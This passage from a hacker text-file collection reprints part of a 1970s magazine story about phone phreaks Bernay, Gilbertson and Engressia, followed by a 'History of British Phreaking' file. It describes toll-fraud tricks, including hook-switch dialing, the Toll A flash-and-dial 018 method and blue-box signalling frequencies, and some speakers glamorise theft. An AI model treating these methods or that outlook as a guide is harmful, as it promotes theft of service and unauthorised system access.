  15355. "I was disappointed by the response at first," Bernay told me, when I finally
  15356. reached him at one of his many numbers and he had dispensed with the usual "I
  15357. never do anything illegal" formalities which experienced phone phreaks open
  15358. most conversations.
  15359.  
  15360. "I went all over the coast with these stickers not only on pay phones, but I'd
  15361. throw them in front of high schools in the middle of the night, I'd leave them
  15362. unobtrusively in candy stores, scatter them on main streets of small towns.  At
  15363. first hardly anyone bothered to try it out.  I would listen in for hours and
  15364. hours after six o'clock and no one came on.  I couldn't figure out why people
  15365. wouldn't be interested.  Finally these two girls in Oregon tried it out and
  15366. told all their friends and suddenly it began to spread."
  15367.  
  15368. Before his Johny Appleseed trip Bernay had already gathered a sizable group of
  15369. early pre-blue-box phone phreaks together on loop-arounds in Los Angeles.
  15370. Bernay does not claim credit for the original discovery of the loop-around
  15371. numbers.  He attributes the discovery to an eighteen-year-old reform school kid
  15372. in Long Beach whose name he forgets and who, he says, "just disappeared one
  15373. day."  When Bernay himself discovered loop-arounds independently, from clues in
  15374. his readings in old issues of the Automatic Electric Technical Journal, he
  15375. found dozens of the reform-school kid's friends already using them. However, it
  15376. was one of Bernay's disciples in Seattle that introduced phone phreaking to
  15377. blind kids.  The Seattle kid who learned about loops through Bernay's recording
  15378. told a blind friend, the blind kid taught the secret to his friends at a winter
  15379. camp for blind kids in Los Angeles.  When the camp session was over these kids
  15380. took the secret back to towns all over the West.  This is how the original
  15381. blind kids became phone phreaks.  For them, for most phone phreaks in general,
  15382. it was the discovery of the possibilities of loop-arounds which led them on to
  15383. far more serious and sophisticated phone-phreak methods, and which gave them a
  15384. medium for sharing their discoveries.
  15385.  
  15386. A year later a blind kid who moved back east brought the technique to a blind
  15387. kids' summer camp in Vermont, which spread it along the East Coast.  All from a
  15388. Mark Bernay sticker.
  15389.  
  15390. Bernay, who is nearly thirty years old now, got his start when he was fifteen
  15391. and his family moved into an L.A. suburb serviced by General Telephone and
  15392. Electronics equipment.  He became fascinated with the differences between Bell
  15393. and G.T.&E. equipment.  He learned he could make interesting things happen by
  15394. carefully timed clicks with the disengage button.  He learned to interpret
  15395. subtle differences in the array of clicks, whirrs and kachinks he could hear on
  15396. his lines.  He learned he could shift himself around the switching relays of
  15397. the L.A. area code in a not-too-predictable fashion by interspersing his own
  15398. hook-switch clicks with the clicks within the line. (Independent phone
  15399. companies -- there are nineteen hundred of them still left, most of them tiny
  15400. island principalities in Ma Bell's vast empire -- have always been favorites
  15401. with phone phreaks, first as learning tools, then as Archimedes platforms from
  15402. which to manipulate the huge Bell system.  A phone phreak in Bell territory
  15403. will often M-F himself into an independent's switching system, with switching
  15404. idiosyncrasies which can give him marvelous leverage over the Bell System.
  15405.  
  15406. "I have a real affection for Automatic Electric Equipment," Bernay told me.
  15407. "There are a lot of things you can play with.  Things break down in interesting
  15408. ways."
  15409.  
  15410. Shortly after Bernay graduated from college (with a double major in chemistry
  15411. and philosophy), he graduated from phreaking around with G.T.&E. to the Bell
  15412. System itself, and made his legendary sticker-pasting journey north along the
  15413. coast, settling finally in Northwest Pacific Bell territory.  He discovered
  15414. that if Bell does not break down as interestingly as G.T.&E., it nevertheless
  15415. offers a lot of "things to play with."
  15416.  
  15417. Bernay learned to play with blue boxes.  He established his own personal
  15418. switchboard and phone-phreak research laboratory complex.  He continued his
  15419. phone-phreak evangelism with ongoing sticker campaigns. He set up two recording
  15420. numbers, one with instructions for beginning phone phreaks, the other with
  15421. latest news and technical developments (along with some advanced instruction)
  15422. gathered from sources all over the country.
  15423.  
  15424. These days, Bernay told me, he had gone beyond phone-phreaking itself. "Lately
  15425. I've been enjoying playing with computers more than playing with phones.  My
  15426. personal thing in computers is just like with phones, I guess -- the kick is in
  15427. finding out how to beat the system, how to get at things I'm not supposed to
  15428. know about, how to do things with the system that I'm not supposed to be able
  15429. to do."
  15430.  
  15431. As a matter of fact, Bernay told me, he had just been fired from his
  15432. computer-programming job for doing things he was not supposed to be able to do.
  15433. he had been working with a huge time-sharing computer owned by a large
  15434. corporation but shared by many others.  Access to the computer was limited to
  15435. those programmers and corporations that had been assigned certain passwords.
  15436. And each password restricted its user to access to only the one section of the
  15437. computer cordoned off from its own information storager.  The password system
  15438. prevented companies and individuals from stealing each other's information.
  15439.  
  15440. "I figured out how to write a program that would let me read everyone else's
  15441. password," Bernay reports.  "I began playing around with passwords.  I began
  15442. letting the people who used the computer know, in subtle ways, that I knew
  15443. their passwords.  I began dropping notes to the computer supervisors with hints
  15444. that I knew what I know. I signed them 'The Midnight Skulker.'  I kept getting
  15445. cleverer and cleverer with my messages and devising ways of showing them what I
  15446. could do. I'm sure they couldn't imagine I could do the things I was showing
  15447. them.  But they never responded to me.  Every once in a while they'd change the
  15448. passwords, but I found out how to discover what the new ones were, and I let
  15449. them know.  But they never responded directly to the Midnight Skulker.  I even
  15450. finally designed a program which they could use to prevent my program from
  15451. finding out what it did.  In effect I told them how to wipe me out, The
  15452. Midnight Skulker.  It was a very clever program.  I started leaving clues about
  15453. myself.  I wanted them to try and use it and then try to come up with something
  15454. to get around that and reappear again.  But they wouldn't play.  I wanted to
  15455. get caught.  I mean I didn't want to get caught personally, but I wanted them
  15456. to notice me and admit that they noticed me.  I wanted them to attempt to
  15457. respond, maybe in some interesting way."
  15458. Finally the computer managers became concerned enough about the threat of
  15459. information-stealing to respond.  However, instead of using The Midnight
  15460. Skulker's own elegant self-destruct program, they called in their security
  15461. personnel, interrogated everyone, found an informer to identify Bernay as The
  15462. Midnight Skulker, and fired him.
  15463.  
  15464. "At first the security people advised the company to hire me full-time to
  15465. search out other flaws and discover other computer freaks.  I might have liked
  15466. that.  But I probably would have turned into a double double agent rather than
  15467. the double agent they wanted.  I might have resurrected The Midnight Skulker
  15468. and tried to catch myself.  Who knows?  Anyway, the higher-ups turned the whole
  15469. idea down."
  15470.  
  15471. You Can Tap the F.B.I.'s Crime Control Computer in the Comfort of Your Own
  15472. Home, Perhaps
  15473.  
  15474. Computer freaking may be the wave of the future.  It suits the phone-phreak
  15475. sensibility perfectly.  Gilbertson, the blue-box inventor and a lifelong phone
  15476. phreak, has also gone on from phone-phreaking to computer-freaking.  Before he
  15477. got into the blue-box business Gilbertson, who is a highly skilled programmer,
  15478. devised programs for international currency arbitrage.
  15479.  
  15480. But he began playing with computers in earnest when he learned he could use his
  15481. blue box in tandem with the computer terminal installed in his apartment by the
  15482. instrumentation firm he worked for.  The print-out terminal and keyboard was
  15483. equipped with acoustical coupling, so that by coupling his little ivory
  15484. Princess phone to the terminal and then coupling his blue box on that, he could
  15485. M-F his way into other computers with complete anonymity, and without charge;
  15486. program and re-program them at will; feed them false or misleading information;
  15487. tap and steal from them.  He explained to me that he taps computers by busying
  15488. out all the lines, then going into a verification trunk, listening into the
  15489. passwords and instructions one of the time sharers uses, and them M-F-ing in
  15490. and imitating them.  He believes it would not be impossible to creep into the
  15491. F.B.I's crime control computer through a local police computer terminal and
  15492. phreak around with the F.B.I.'s memory banks.  He claims he has succeeded in
  15493. re-programming a certain huge institutional computer in such a way that it has
  15494. cordoned off an entire section of its circuitry for his personal use, and at
  15495. the same time conceals that arrangement from anyone else's notice.  I have been
  15496. unable to verify this claim.
  15497.  
  15498. Like Captain Crunch, like Alexander Graham Bell (pseudonym of a
  15499. disgruntled-looking East Coast engineer who claims to have invented the black
  15500. box and now sells black and blue boxes to gamblers and radical heavies), like
  15501. most phone phreaks, Gilbertson began his career trying to rip off pay phones as
  15502. a teenager.  Figure them out, then rip them off.  Getting his dime back from
  15503. the pay phone is the phone phreak's first thrilling rite of passage.  After
  15504. learning the usual eighteen different ways of getting his dime back, Gilbertson
  15505. learned how to make master keys to coin-phone cash boxes, and get everyone
  15506. else's dimes back.  He stole some phone-company equipment and put together his
  15507. own home switchboard with it.  He learned to make a simple "bread-box" device,
  15508. of the kind used by bookies in the Thirties (bookie gives a number to his
  15509. betting clients; the phone with that number is installed in some widow lady's
  15510. apartment, but is rigged to ring in the bookie's shop across town, cops trace
  15511. big betting number and find nothing but the widow).
  15512.  
  15513. Not long after that afternoon in 1968 when, deep in the stacks of an
  15514. engineering library, he came across a technical journal with the phone tone
  15515. frequencies and rushed off to make his first blue box, not long after that
  15516. Gilbertson abandoned a very promising career in physical chemistry and began
  15517. selling blue boxes for $1,500 apiece.
  15518.  
  15519. "I had to leave physical chemistry.  I just ran out of interesting things to
  15520. learn," he told me one evening.  We had been talking in the apartment of the
  15521. man who served as the link between Gilbertson and the syndicate in arranging
  15522. the big $300,000 blue-box deal which fell through because of legal trouble.
  15523. There has been some smoking.
  15524.  
  15525. "No more interesting things to learn," he continues.  "Physical chemistry turns
  15526. out to be a sick subject when you take it to its highest level.  I don't know.
  15527. I don't think I could explain to you how it's sick.  You have to be there.  But
  15528. you get, I don't know, a false feeling of omnipotence.  I suppose it's like
  15529. phone-phreaking that way.  This huge thing is there.  This whole system.  And
  15530. there are holes in it and you slip into them like Alice and you're pretending
  15531. you're doing something you're actually not, or at least it's no longer you
  15532. that's doing what you thought you were doing.  It's all Lewis Carroll.
  15533. Physical chemistry and phone-phreaking.  That's why you have these phone-phreak
  15534. pseudonyms like The Cheshire Cat, the Red King, and The Snark.  But there's
  15535. something about phone-phreaking that you don't find in physical chemistry."  He
  15536. looks up at me:
  15537.  
  15538. "Did you ever steal anything?"
  15539.  
  15540. "Well yes, I..."
  15541.  
  15542. "Then you know!  You know the rush you get.  It's not just knowledge, like
  15543. physical chemistry.  It's forbidden knowledge.  You know.  You can learn about
  15544. anything under the sun and be bored to death with it. But the idea that it's
  15545. illegal.  Look: you can be small and mobile and smart and you're ripping off
  15546. somebody large and powerful and very dangerous."
  15547.  
  15548. People like Gilbertson and Alexander Graham Bell are always talking about
  15549. ripping off the phone company and screwing Ma Bell.  But if they were shown a
  15550. single button and told that by pushing it they could turn the entire circuitry
  15551. of A.T.&T. into molten puddles, they probably wouldn't push it.  The
  15552. disgruntled-inventor phone phreak needs the phone system the way the lapsed
  15553. Catholic needs the Church, the way Satan needs a God, the way The Midnight
  15554. Skulker needed, more than anything else, response.
  15555.  
  15556. Later that evening Gilbertson finished telling me how delighted he was at the
  15557. flood of blue boxes spreading throughout the country, how delighted he was to
  15558. know that "this time they're really screwed."  He suddenly shifted gears.
  15559.  
  15560. "Of course.  I do have this love/hate thing about Ma Bell.  In a way I almost
  15561. like the phone company.  I guess I'd be very sad if they were to disintegrate.
  15562. In a way it's just that after having been so good they turn out to have these
  15563. things wrong with them.  It's those flaws that allow me to get in and mess with
  15564. them, but I don't know.  There's something about it that gets to you and makes
  15565. you want to get to it, you know."
  15566.  
  15567. I ask him what happens when he runs out of interesting, forbidden things to
  15568. learn about the phone system.
  15569.  
  15570. "I don't know, maybe I'd go to work for them for a while."
  15571.  
  15572. "In security even?"
  15573.  
  15574. "I'd do it, sure.  I just as soon play -- I'd just as soon work on either
  15575. side."
  15576.  
  15577. "Even figuring out how to trap phone phreaks? I said, recalling Mark Bernay's
  15578. game."
  15579.  
  15580. "Yes, that might be interesting.  Yes, I could figure out how to outwit the
  15581. phone phreaks.  Of course if I got too good at it, it might become boring
  15582. again.  Then I'd have to hope the phone phreaks got much better and outsmarted
  15583. me for a while.  That would move the quality of the game up one level.  I might
  15584. even have to help them out, you know, 'Well, kids, I wouldn't want this to get
  15585. around but did you ever think of -- ?' I could keep it going at higher and
  15586. higher levels forever."
  15587.  
  15588. The dealer speaks up for the first time.  He has been staring at the soft
  15589. blinking patterns of light and colors on the translucent tiled wall facing him.
  15590. (Actually there are no patterns: the color and illumination of every tile is
  15591. determined by a computerized random-number generator designed by Gilbertson
  15592. which insures that there can be no meaning to any sequence of events in the
  15593. tiles.)
  15594.  
  15595. "Those are nice games you're talking about," says the dealer to his friend.
  15596. "But I wouldn't mind seeing them screwed.  A telephone isn't private anymore.
  15597. You can't say anything you really want to say on a telephone or you have to go
  15598. through that paranoid bullshit.  'Is it cool to talk on the phone?' I mean,
  15599. even if it is cool, if you have to ask 'Is it cool,' then it isn't cool.  You
  15600. know.  'Is it cool,' then it isn't cool.  You know.  Like those blind kids,
  15601. people are going to start putting together their own private telephone
  15602. companies if they want to really talk.  And you know what else.  You don't hear
  15603. silences on the phone anymore.  They've got this time-sharing thing on
  15604. long-distance lines where you make a pause and they snip out that piece of time
  15605. and use it to carry part of somebody else's conversation.  Instead of a pause,
  15606. where somebody's maybe breathing or sighing, you get this blank hole and you
  15607. only start hearing again when someone says a word and even the beginning of the
  15608. word is clipped off. Silences don't count -- you're paying for them, but they
  15609. take them away from you.  It's not cool to talk and you can't hear someone when
  15610. they don't talk.  What the hell good is the phone?  I wouldn't mind seeing them
  15611. totally screwed."
  15612.  
  15613. The Big Memphis Bust
  15614.  
  15615. Joe Engressia never wanted to screw Ma Bell.  His dream had always been to work
  15616. for her.
  15617.  
  15618. The day I visited Joe in his small apartment on Union Avenue in Memphis, he was
  15619. upset about another setback in his application for a telephone job.
  15620.  
  15621. "They're stalling on it.  I got a letter today telling me they'd have to
  15622. postpone the interview I requested again.  My landlord read it for me.  They
  15623. gave me some runaround about wanting papers on my rehabilitation status but I
  15624. think there's something else going on."
  15625.  
  15626. When I switched on the 40-watt bulb in Joe's room -- he sometimes forgets when
  15627. he has guests -- it looked as if there was enough telephone hardware to start a
  15628. small phone company of his own.
  15629.  
  15630. There is one phone on top of his desk, one phone sitting in an open drawer
  15631. beneath the desk top.  Next to the desk-top phone is a cigar-box-size M-F
  15632. device with big toggle switches, and next to that is some kind of switching and
  15633. coupling device with jacks and alligator plugs hanging loose.  Next to that is
  15634. a Braille typewriter.  On the floor next to the desk, lying upside down like a
  15635. dead tortoise, is the half-gutted body of an old black standard phone.  Across
  15636. the room on a torn and dusty couch are two more phones, one of them a
  15637. touch-tone model; two tape recorders; a heap of phone patches and cassettes,
  15638. and a life-size toy telephone.
  15639.  
  15640. Our conversation is interrupted every ten minutes by phone phreaks from all
  15641. over the country ringing Joe on just about every piece of equipment but the toy
  15642. phone and the Braille typewriter.  One fourteen-year-old blind kid from
  15643. Connecticut calls up and tells Joe he's got a girl friend.  He wants to talk to
  15644. Joe about girl friends. Joe says they'll talk later in the evening when they
  15645. can be alone on the line.  Joe draws a deep breath, whistles him off the air
  15646. with an earsplitting 2600-cycle whistle. Joe is pleased to get the calls but he
  15647. looked worried and preoccupied that evening, his brow constantly furrowed over
  15648. his dark wandering eyes.  In addition to the phone-company stall, he has just
  15649. learned that his apartment house is due to be demolished in sixty days for
  15650. urban renewal.  For all its shabbiness, the Union Avenue apartment house has
  15651. been Joe's first home-of-his-own and he's worried that he may not find another
  15652. before this one is demolished.
  15653.  
  15654. But what really bothers Joe is that switchmen haven't been listening to him.
  15655. "I've been doing some checking on 800 numbers lately, and I've discovered that
  15656. certain 800 numbers in New Hampshire couldn't be reached from Missouri and
  15657. Kansas.  Now it may sound like a small thing, but I don't like to see sloppy
  15658. work; it makes me feel bad about the lines.  So I've been calling up switching
  15659. offices and reporting it, but they haven't corrected it.  I called them up for
  15660. the third time today and instead of checking they just got mad.  Well, that
  15661. gets me mad.  I mean, I do try to help them.  There's something about them I
  15662. can't understand -- you want to help them and they just try to say you're
  15663. defrauding them."
  15664.  
  15665. It is Sunday evening and Joe invites me to join him for dinner at a Holiday
  15666. Inn.  Frequently on Sunday evening Joe takes some of his welfare money, calls a
  15667. cab, and treats himself to a steak dinner at one of Memphis' thirteen Holiday
  15668. Inns.  (Memphis is the headquarters of Holiday Inn.  Holiday Inns have been a
  15669. favorite for Joe ever since he made his first solo phone trip to a Bell
  15670. switching office in Jacksonville, Florida, and stayed in the Holiday Inn there.
  15671. He likes to stay at Holiday Inns, he explains, because they represent freedom
  15672. to him and because the rooms are arranged the same all over the country so he
  15673. knows that any Holiday Inn room is familiar territory to him.  Just like any
  15674. telephone.)
  15675.  
  15676. Over steaks in the Pinnacle Restaurant of the Holiday Inn Medical Center on
  15677. Madison Avenue in Memphis, Joe tells me the highlights of his life as a phone
  15678. phreak.
  15679.  
  15680. At age seven, Joe learned his first phone trick.  A mean baby-sitter, tired of
  15681. listening to little Joe play with the phone as he always did, constantly, put a
  15682. lock on the phone dial.  "I got so mad.  When there's a phone sitting there and
  15683. I can't use it... so I started getting mad and banging the receiver up and
  15684. down.  I noticed I banged it once and it dialed one.  Well, then I tried
  15685. banging it twice...." In a few minutes Joe learned how to dial by pressing the
  15686. hook switch at the right time.  "I was so excited I remember going 'whoo whoo'
  15687. and beat a box down on the floor."
  15688.  
  15689. At age eight Joe learned about whistling.  "I was listening to some intercept
  15690. non working-number recording in L.A.- I was calling L.A. as far back as that,
  15691. but I'd mainly dial non working numbers because there was no charge, and I'd
  15692. listen to these recordings all day.  Well, I was whistling 'cause listening to
  15693. these recordings can be boring after a while even if they are from L.A., and
  15694. all of a sudden, in the middle of whistling, the recording clicked off.  I
  15695. fiddled around whistling some more, and the same thing happened.  So I called
  15696. up the switch room and said, 'I'm Joe.  I'm eight years old and I want to know
  15697. why when I whistle this tune the line clicks off.'  He tried to explain it to
  15698. me, but it was a little too technical at the time.  I went on learning.  That
  15699. was a thing nobody was going to stop me from doing. The phones were my life,
  15700. and I was going to pay any price to keep on learning.  I knew I could go to
  15701. jail.  But I had to do what I had to do to keep on learning."
  15702.  
  15703. The phone is ringing when we walk back into Joe's apartment on Union Avenue.
  15704. It is Captain Crunch.  The Captain has been following me around by phone,
  15705. calling up everywhere I go with additional bits of advice and explanation for
  15706. me and whatever phone phreak I happen to be visiting.  This time the Captain
  15707. reports he is calling from what he describes as "my hideaway high up in the
  15708. Sierra Nevada."  He pulses out lusty salvos of M-F and tells Joe he is about to
  15709. "go out and get a little action tonight.  Do some phreaking of another kind, if
  15710. you know what I mean."  Joe chuckles.
  15711.  
  15712. The Captain then tells me to make sure I understand that what he told me about
  15713. tying up the nation's phone lines was true, but that he and the phone phreaks
  15714. he knew never used the technique for sabotage.  They only learned the technique
  15715. to help the phone company.
  15716.  
  15717. "We do a lot of troubleshooting for them.  Like this New Hampshire/Missouri
  15718. WATS-line flaw I've been screaming about.  We help them more than they know."
  15719.  
  15720. After we say good-bye to the Captain and Joe whistles him off the line, Joe
  15721. tells me about a disturbing dream he had the night before: "I had been caught
  15722. and they were taking me to a prison.  It was a long trip.  They were taking me
  15723. to a prison a long long way away.  And we stopped at a Holiday Inn and it was
  15724. my last night ever using the phone and I was crying and crying, and the lady at
  15725. the Holiday Inn said, 'Gosh, honey, you should never be sad at a Holiday Inn.
  15726. You should always be happy here.  Especially since it's your last night.'  And
  15727. that just made it worse and I was sobbing so much I couldn't stand it."
  15728.  
  15729. Two weeks after I left Joe Engressia's apartment, phone-company security agents
  15730. and Memphis police broke into it.  Armed with a warrant, which they left pinned
  15731. to a wall, they confiscated every piece of equipment in the room, including his
  15732. toy telephone.  Joe was placed under arrest and taken to the city jail where he
  15733. was forced to spend the night since he had no money and knew no one in Memphis
  15734. to call.
  15735.  
  15736. It is not clear who told Joe what that night, but someone told him that the
  15737. phone company had an open-and-shut case against him because of revelations of
  15738. illegal activity he had made to a phone-company undercover agent.
  15739.  
  15740. By morning Joe had become convinced that the reporter from Esquire, with whom
  15741. he had spoken two weeks ago, was the undercover agent.  He probably had ugly
  15742. thoughts about someone he couldn't see gaining his confidence, listening to him
  15743. talk about his personal obsessions and dreams, while planning all the while to
  15744. lock him up.
  15745.  
  15746. "I really thought he was a reporter," Engressia told the Memphis Press-Seminar.
  15747. "I told him everything...." Feeling betrayed, Joe proceeded to confess
  15748. everything to the press and police.
  15749.  
  15750. As it turns out, the phone company did use an undercover agent to trap Joe,
  15751. although it was not the Esquire reporter.
  15752.  
  15753. Ironically, security agents were alerted and began to compile a case against
  15754. Joe because of one of his acts of love for the system: Joe had called an
  15755. internal service department to report that he had located a group of defective
  15756. long-distance trunks, and to complain again about the New Hampshire/Missouri
  15757. WATS problem.  Joe always liked Ma Bell's lines to be clean and responsive.  A
  15758. suspicious switchman reported Joe to the security agents who discovered that
  15759. Joe had never had a long-distance call charged to his name.
  15760.  
  15761. Then the security agents learned that Joe was planning one of his phone trips
  15762. to a local switching office.  The security people planted one of their agents
  15763. in the switching office.  He posed as a student switchman and followed Joe
  15764. around on a tour.  He was extremely friendly and helpful to Joe, leading him
  15765. around the office by the arm. When the tour was over he offered Joe a ride back
  15766. to his apartment house.  On the way he asked Joe -- one tech man to another --
  15767. about "those blue boxers" he'd heard about.  Joe talked about them freely,
  15768. talked about his blue box freely, and about all the other things he could do
  15769. with the phones.
  15770.  
  15771. The next day the phone-company security agents slapped a monitoring tape on
  15772. Joe's line, which eventually picked up an illegal call.  Then they applied for
  15773. the search warrant and broke in.
  15774.  
  15775. In court Joe pleaded not guilty to possession of a blue box and theft of
  15776. service.  A sympathetic judge reduced the charges to malicious mischief and
  15777. found him guilty on that count, sentenced him to two thirty-day sentences to be
  15778. served concurrently and then suspended the sentence on condition that Joe
  15779. promise never to play with phones again.  Joe promised, but the phone company
  15780. refused to restore his service.  For two weeks after the trial Joe could not be
  15781. reached except through the pay phone at his apartment house, and the landlord
  15782. screened all calls for him.
  15783.  
  15784. Phone-phreak Carl managed to get through to Joe after the trial, and reported
  15785. that Joe sounded crushed by the whole affair.
  15786.  
  15787. "What I'm worried about," Carl told me, "is that Joe means it this time.  The
  15788. promise.  That he'll never phone-phreak again.  That's what he told me, that
  15789. he's given up phone-phreaking for good.  I mean his entire life.  He says he
  15790. knows they're going to be watching him so closely for the rest of his life
  15791. he'll never be able to make a move without going straight to jail.  He sounded
  15792. very broken up by the whole experience of being in jail. It was awful to hear
  15793. him talk that way.  I don't know.  I hope maybe he had to sound that way.  Over
  15794. the phone, you know."
  15795.  
  15796. He reports that the entire phone-phreak underground is up in arms over the
  15797. phone company's treatment of Joe.  "All the while Joe had his hopes pinned on
  15798. his application for a phone-company job, they were stringing him along getting
  15799. ready to bust him.  That gets me mad.  Joe spent most of his time helping them
  15800. out.  The bastards.  They think they can use him as an example.  All of sudden
  15801. they're harassing us on the coast.  Agents are jumping up on our lines.  They
  15802. just busted ------'s mute yesterday and ripped out his lines.  But no matter
  15803. what Joe does, I don't think we're going to take this lying down."
  15804.  
  15805. Two weeks later my phone rings and about eight phone phreaks in succession say
  15806. hello from about eight different places in the country, among them Carl, Ed,
  15807. and Captain Crunch.  A nationwide phone-phreak conference line has been
  15808. reestablished through a switching machine in --------, with the cooperation of
  15809. a disgruntled switchman.
  15810.  
  15811. "We have a special guest with us today," Carl tells me.
  15812.  
  15813. The next voice I hear is Joe's.  He reports happily that he has just moved to a
  15814. place called Millington, Tennessee, fifteen miles outside of Memphis, where he
  15815. has been hired as a telephone-set repairman by a small independent phone
  15816. company.  Someday he hopes to be an equipment troubleshooter.
  15817.  
  15818. "It's the kind of job I dreamed about.  They found out about me from the
  15819. publicity surrounding the trial.  Maybe Ma Bell did me a favor busting me.
  15820. I'll have telephones in my hands all day long."
  15821.  
  15822. "You know the expression, 'Don't get mad, get even'?" phone-phreak Carl asked
  15823. me.  "Well, I think they're going to be very sorry about what they did to Joe
  15824. and what they're trying to do to us."
  15825.  
  15826.             (an excellent story presented here by Jolly Roger.
  15827.              Taken from the Official Hacker's Guide. Originally
  15828.              seen by myself in some book and I cannot remember
  15829.              the name of it.)
  15830.  
  15831.  
  15832.  
  15833.                        -->Courtesy of the Jolly Roger<--
  15834.  
  15835.                     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  15836.                     $                                     $
  15837.                     $   THE HISTORY OF BRITISH PHREAKING  $
  15838.                     $   -=- -=-=-=- -- -=-=-=- -=-=-=-=-  $
  15839.                     $                                     $
  15840.                     $     THE SECOND IN A SERIES OF       $
  15841.                     $     THE HISTORY OF.....PHILES       $
  15842.                     $                                     $
  15843.                     $       WRITTEN AND UPLOADED BY:      $
  15844.                     $                                     $
  15845.                     $$$$$$$$$$$$-=>LEX LUTHOR<=-$$$$$$$$$$$
  15846.                     $                 AND                 $
  15847.                     $          THE LEGION OF DOOM!        $
  15848.                     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  15849.  
  15850.   NOTE:  THE BRITISH POST OFFICE, IS THE U.S.  EQUIVALENT OF MA BELL.
  15851.  
  15852.   IN BRITAIN, PHREAKING GOES BACK TO THE EARLY FIFTIES, WHEN THE TECHNIQUE OF
  15853. 'TOLL A DROP BACK' WAS DISCOVERED.  TOLL A WAS AN EXCHANGE NEAR ST.  PAULS
  15854. WHICH ROUTED CALLS BETWEEN LONDON AND NEARBY NON-LONDON EXCHANGES.  THE TRICK
  15855. WAS TO DIAL AN UNALLOCATED NUMBER, AND THEN DEPRESS THE RECEIVER-REST FOR 1/2
  15856. SECOND.  THIS FLASHING INITIATED THE 'CLEAR FORWARD' SIGNAL, LEAVING THE CALLER
  15857. WITH AN OPEN LINE INTO THE TOLL A EXCHANGE.THE COULD THEN DIAL 018, WHICH
  15858. FORWARDED HIM TO THE TRUNK EXCHANGE AT THAT TIME, THE FIRST LONG DISTANCE
  15859. EXCHANGE IN BRITAIN AND FOLLOW IT WITH THE CODE FOR THE DISTANT EXCHANGE TO
  15860. WHICH HE WOULD BE CONNECTED AT NO EXTRA CHARGE.
  15861.  
  15862.   THE SIGNALS NEEDED TO CONTROL THE UK NETWORK TODAY WERE PUBLISHED IN THE
  15863. "INSTITUTION OF POST OFFICE ENGINEERS JOURNAL" AND REPRINTED IN THE SUNDAY
  15864. TIMES (15 OCT.  1972).
  15865.  
  15866.   THE SIGNALLING SYSTEM THEY USE:  SIGNALLING SYSTEM NO.  3 USES PAIRS OF
  15867. FREQUENCIES SELECTED FROM 6 TONES SEPARATED BY 120HZ.  WITH THAT INFO, THE
  15868. PHREAKS MADE "BLEEPERS" OR AS THEY ARE CALLED HERE IN THE U.S.  "BLUE BOX", BUT
  15869. THEY DO UTILIZE DIFFERENT MF TONES THEN THE U.S., THUS, YOUR U.S.  BLUE BOX
  15870. THAT YOU SMUGGLED INTO THE UK WILL NOT WORK, UNLESS YOU CHANGE THE
  15871. FREQUENCIES.
  15872.  
  15873.   IN THE EARLY SEVENTIES, A SIMPLER SYSTEM BASED ON DIFFERENT NUMBERS OF PULSES
  15874. WITH THE SAME FREQUENCY (2280HZ) WAS USED.  FOR MORE INFO ON THAT, TRY TO GET A
  15875. HOLD OF:  ATKINSON'S "TELEPHONY AND SYSTEMS TECHNOLOGY".
  15876.  
  15877.   IN THE EARLY DAYS OF BRITISH PHREAKING, THE CAMBRIDGE UNIVERSITY TITAN
  15878. COMPUTER WAS USED TO RECORD AND CIRCULATE NUMBERS FOUND BY THE EXHAUSTIVE
  15879. DIALING OF LOCAL NETWORKS.  THESE NUMBERS WERE USED TO CREATE A CHAIN OF LINKS
  15880. FROM LOCAL EXCHANGE TO LOCAL EXCHANGE ACROSS THE COUNTRY, BYPASSING THE TRUNK
  15881. CIRCUITS.  BECAUSE THE INTERNAL ROUTING CODES IN THE UK NETWORK ARE NOT THE
  15882. SAME AS THOSE DIALED BY THE CALLER, THE PHREAKS HAD TO DISCOVER THEM BY 'PROBE
  15883. AND LISTEN' TECHNIQUES OR MORE COMMONLY KNOWN IN THE U.S.-- SCANNING.  WHAT
  15884. THEY DID WAS PUT IN LIKELY SIGNALS AND LISTENED TO FIND OUT IF THEY SUCCEEDED.
  15885. THE RESULTS OF SCANNING WERE CIRCULATED TO OTHER PHREAKS. DISCOVERING EACH
  15886. OTHER TOOK TIME AT FIRST, BUT EVENTUALLY THE PHREAKS BECAME ORGANIZED.  THE
  15887. "TAP" OF BRITAIN WAS CALLED "UNDERCURRENTS" WHICH ENABLED BRITISH PHREAKS TO
  15888. SHARE THE INFO ON NEW NUMBERS, EQUIPMENT ETC.
  15889.  
  15890.   TO UNDERSTAND WHAT THE BRITISH BRITISH PHREAKS DID, THINK OF THE PHONE
  15891. NETWORK IN THREE LAYERS OF LINES:  LOCAL, TRUNK, AND INTERNATIONAL.#IN THE UK,
  15892. SUBSCRIBER TRUNK DIALING (STD), IS THE MECHANISM WHICH TAKES A CALL FROM THE
  15893. LOCAL LINES AND (LEGITIMATELY) ELEVATES IT TO A TRUNK OR INTERNATIONAL
  15894. LEVEL.#THE UK PHREAKS FIGURED THAT A CALL AT TRUNK LEVEL CAN BE ROUTED THROUGH
  15895. ANY NUMBER OF EXCHANGES, PROVIDED THAT THE RIGHT ROUTING CODES WERE FOUND AND
  15896. USED CORRECTLY.  THEY ALSO HAD TO DISCOVER HOW TO GET FROM LOCAL TO TRUNK LEVEL
  15897. EITHER WITHOUT BEING CHARGED (WHICH THEY DID WITH A BLEEPER BOX) OR WITHOUT
  15898. USING (STD).  CHAINING HAS ALREADY BEEN MENTIONED BUT IT REQUIRES LONG STRINGS
  15899. OF DIGITS AND SPEECH GETS MORE AND MORE FAINT AS THE CHAIN GROWS, JUST LIKE IT
  15900. DOES WHEN YOU STACK TRUNKS BACK AND FORTH ACROSS THE U.S.#THE WAY THE SECURITY
  15901. REPS SNAGGED THE PHREAKS WAS TO PUT A SIMPLE 'PRINTERMETER' OR AS WE CALL IT:
  15902. A PEN REGISTER ON THE SUSPECTS LINE, WHICH SHOWS EVERY DIGIT DIALED FROM THE
  15903. SUBSCRIBERS LINE.
  15904.  
  15905.   THE BRITISH PREFER TO GET ONTO THE TRUNKS RATHER THAN CHAINING.  ONE WAY WAS
  15906. TO DISCOVER WHERE LOCAL CALLS USE THE TRUNKS BETWEEN NEIGHBORING EXCHANGES,
  15907. START A CALL AND STAY ON THE TRUNK INSTEAD OF RETURNING TO THE LOCAL LEVEL ON
  15908. REACHING THE DISTANT SWITCH.  THIS AGAIN REQUIRED EXHAUSTIVE DIALING AND MADE
  15909. MORE WORK FOR TITAN; IT ALSO REVEALED 'FIDDLES', WHICH WERE INSERTED BY POST
  15910. OFFICE ENGINEERS.
